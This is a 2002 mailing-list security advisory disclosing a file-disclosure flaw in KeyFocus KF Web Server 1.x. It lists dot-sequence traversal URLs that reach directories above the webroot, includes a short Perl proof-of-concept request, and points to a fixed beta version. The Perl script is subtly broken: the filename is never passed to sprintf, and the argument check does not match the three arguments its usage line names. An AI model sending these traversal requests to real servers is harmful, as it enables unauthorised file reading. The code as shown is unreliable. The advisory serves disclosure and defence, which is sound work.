[VulnWatch] KeyFocus KF Web Server File Disclosure Vulnerability

From: mattmurphy@kc.rr.com
Date: 11/13/02


From: "mattmurphy@kc.rr.com" <mattmurphy@kc.rr.com>
To: news@securiteam.com, vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
Date: Wed, 13 Nov 2002 17:06:24 -0500

KeyFocus Web server is a Win32 HTTP server with web administration, a
variety of logging formats, such as NCSA and W3C, CGI, compression, memory
caching of static documents, directory indexing, pre-defined MIME settings,
internal authentication with support for multiple realms, and a variety of
URL checks that make it more secure against hacking attempts such as buffer
overruns.

KFWS 1.x contains a flaw that enables attackers to traverse above the
webroot in the directory structure. This is not a traditional directory
traversal attack. KFWS does not properly handle consecutive dot characters
in the file name:

http://kfws/. - Current Directory
http://kfws/.. - 403 Forbidden
http://kfws/... - KFWS install dir (OOPS!)
http://kfws/.... - Program Files
http://kfws/..... - \

This vulnerability is limited by the internal hack defenses of the server
-- only files with recognized MIME types can be retreived. This
significantly limits the damage from this vulnerability.

KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable
version will eliminate the flaw as well. Administrators who are concerned
about this flaw should upgrade to the beta.

I've included a Perl script to demonstrate this vulnerability:

#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
}

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .



Relevant Pages

  • KeyFocus KF Web Server File Disclosure Vulnerability
    ... KeyFocus Web server is a Win32 HTTP server with web administration, ... variety of logging formats, such as NCSA and W3C, CGI, compression, memory ... This vulnerability is limited by the internal hack defenses of the server ...
    (Bugtraq)
  • [Full-Disclosure] KeyFocus KF Web Server File Disclosure Vulnerability
    ... KeyFocus Web server is a Win32 HTTP server with web administration, ... variety of logging formats, such as NCSA and W3C, CGI, compression, memory ... This vulnerability is limited by the internal hack defenses of the server ...
    (Full-Disclosure)
  • SecurityFocus Microsoft Newsletter #142
    ... MICROSOFT VULNERABILITY SUMMARY ... Mollensoft Enceladus Server Suite Clear Text Password Storage... ... FakeBO Syslog Format String Vulnerability ... Methodus 3 Web Server File Disclosure Vulnerability ...
    (Focus-Microsoft)
  • SecurityFocus Microsoft Newsletter #139
    ... OFF any Windows 2000 Managed Dedicated Hosting Solution from Interland. ... Sun ONE Application Server Plaintext Password Vulnerability ... Batalla Naval Remote Buffer Overflow Vulnerability ...
    (Focus-Microsoft)
  • SecurityFocus Microsoft Newsletter #140
    ... Cafelog b2 Remote File Include Vulnerability ... Webfroot Shoutbox Remote Command Execution Vulnerability ... Pablo Software Solutions Baby POP3 Server Multiple Connection... ... Microsoft Windows XP Nested Directory Denial of Service... ...
    (Focus-Microsoft)